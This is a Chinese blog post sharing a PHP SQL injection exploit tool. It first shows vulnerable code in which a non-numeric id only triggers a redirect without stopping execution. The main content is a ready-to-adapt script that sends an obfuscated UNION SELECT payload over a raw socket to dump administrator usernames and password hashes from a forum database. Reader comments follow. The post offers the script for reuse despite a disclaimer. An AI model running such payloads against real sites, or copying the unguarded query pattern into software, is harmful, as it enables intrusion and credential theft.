首页 > 常用工具, 本站原创, 资源共享 > 注入漏洞利用工具模板 For PHP

注入漏洞利用工具模板 For PHP

作者:不走的钟
 
 今天有朋友在blog上问,这种漏洞存在,但究竟如何利用?(见原文)因为你提交字符后会跳转到index.php,这种注入,手入是没办法的,需要借用第三方工具或者自己写,我翻了下硬盘,N久以前写过类似的代码,扔出来大家可以参考,大家可以在这个基础上稍做修改便可使用:

漏洞地方代码:

<?php
include("config.php") ;
$id=$_GET['id'];
if (!is_numeric($id))
{
header("location:index.php");
}
?>
<div>
<?php $contb = mysql_fetch_array(mysql_query("select tit from xid where id2=$id")); ?>
……

 

漏洞利用代码(仅供学习参考,请勿非法使用!来源:007安全):

#!/usr/bin/php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php

print_r('
+---------------------------------------------------------------------------+
by:不走的钟 2009
+---------------------------------------------------------------------------+
');
if ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to path
Example:
php '.$argv[0].' localhost /path/
+---------------------------------------------------------------------------+
');
    exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];

$resp = send();
//preg_match('#href="([\^^^]+):([a-z0-9]{32})"#', $resp, $hash);

$start=strpos($resp,'^^^');
$stop=strrpos($resp,'^^^');
$txt=substr($resp,$start,$stop-$start);
$re=split(',',$txt);
print_r ($re);

if ($hash)
    exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");
else
    exit("Exploit Failed!\n");

function send()
{
    global $host, $path;

    $cmd ='/**/and/**/1=2/**/union/**/select/**/unhex(hex(concat(0x5e5e5e,group_concat(id,0x5e,bbsadmin,0x5e,bbspassword,0x5e,js,0x5e,bbsaddtime),0x5e5e5e)))\
    /**/from/**/(select/**/*/**/from/**/(select/**/*/**/from/**/bbsadmin/**/where/**/1=1/**/order/**/by/**/1/**/limit/**/0,100)/**/t/**/order/**/by/**/1/**/desc)t/**/--';

    $data = "GET ".$path."service.php?id=1&id2=134".$cmd."  HTTP/1.1\r\n";
    $data .= "Cookie: PHPSESSID=1b2d387e40031d07f4ffbe0b6faae005\r\n";
    $data .= "Host: $host\r\n";
    $data .= "Connection: Keep-alive\r\n";
    $data .= "Accept-Encoding: gzip,deflate\r\n";
    $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)\r\n";
    $data .= "Accept: */*\r\n\r\n";
 echo $data;

    $fp = fsockopen($host, 80);
    fputs($fp, $data);
    $resp = '';
 
    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;

}

?>
  1. 2012年3月20日16:04 | #1

    没学PHP我还是有点遗憾的,以前学JSP现在根本用不到

  2. uc
    2012年4月8日01:38 | #2

    非常感谢分享,我自己加一个正则表达式,就可以打印结果了。

  3. 东吃
    2015年1月2日13:40 | #3

    用什么参数接受的呢? 没看懂